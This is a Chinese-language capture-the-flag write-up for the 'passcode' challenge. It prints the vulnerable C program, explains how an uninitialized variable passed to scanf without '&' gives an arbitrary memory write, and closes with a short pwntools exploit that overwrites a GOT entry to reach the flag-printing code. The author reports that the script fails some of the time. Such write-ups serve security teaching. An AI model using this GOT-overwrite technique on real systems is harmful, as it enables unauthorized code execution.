简介
passcode是一道任意地址写的问题,不过解题过程中碰到了一些诡异的情况(解题脚本概率性失败,至今不解,可见文末)……
passcode原题
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
解题思路
题目共2个函数,
welcome: 输入100个字节,并打印该100个字节
login: 验证passcode1和passcode2,验证通过则打印flag,否则退出
但login函数中存在两个问题:
1) passcode1和passcode2使用前未初始化
2) scanf(“%d”, passcode1)不正确使用,第2个参数未取地址,正确用法为scanf(“%d”, &passcode1)
注:由于问题2,导致passcode1和passcode2是无法直接赋值的。
这两个问题将导致:
1) passcode1可以任意赋值
纳尼?!不是刚刚说passcode1无法直接赋值么?
淡定,用gdb调试一下就能发现,passcode1虽然无法直接赋值,但是由于未初始化,它会复用welcome函数中输入的100字节的最后4字节,通过修改这4字节,就能任意赋值passcode1
2) passcode1值作为地址指向的内存任意修改
scanf(“%d”, &value)的第2个参数本应为地址值,将输入的值写入&value地址所指向的内存
scanf(“%d”, passcode1)中,我们则将输入的值写入passcode1作为地址值所指向的内存,即*passcode1
因此,这是一道任意地址写的题目。
剩下的就简单了,通过修改got.plt表,将print函数对应的got地址值修改为获得flag的地址就行了。(当然修改其他函数也行,只要是在退出前能执行到的函数即可)
解题过程
根据解题思路,我们需要做两件事:
1) 在got.plt表中找到print函数的地址(0x0804a000)
2) 找到打印flag的地址(0x080485e3)
注:由于scanf是以%d的格式读取地址,因此需要将0x080485e3转换为整数134514147进行输入
构造解题脚本如下,直接在服务器上运行
from pwn import *
p = process('./passcode')
p.send('a'*96 + '\x00\xa0\x04\x08')
p.sendline('134514147')
p.recv(512)
得到flag
注:上述脚本在服务器运行概率性失败(诡异的情况)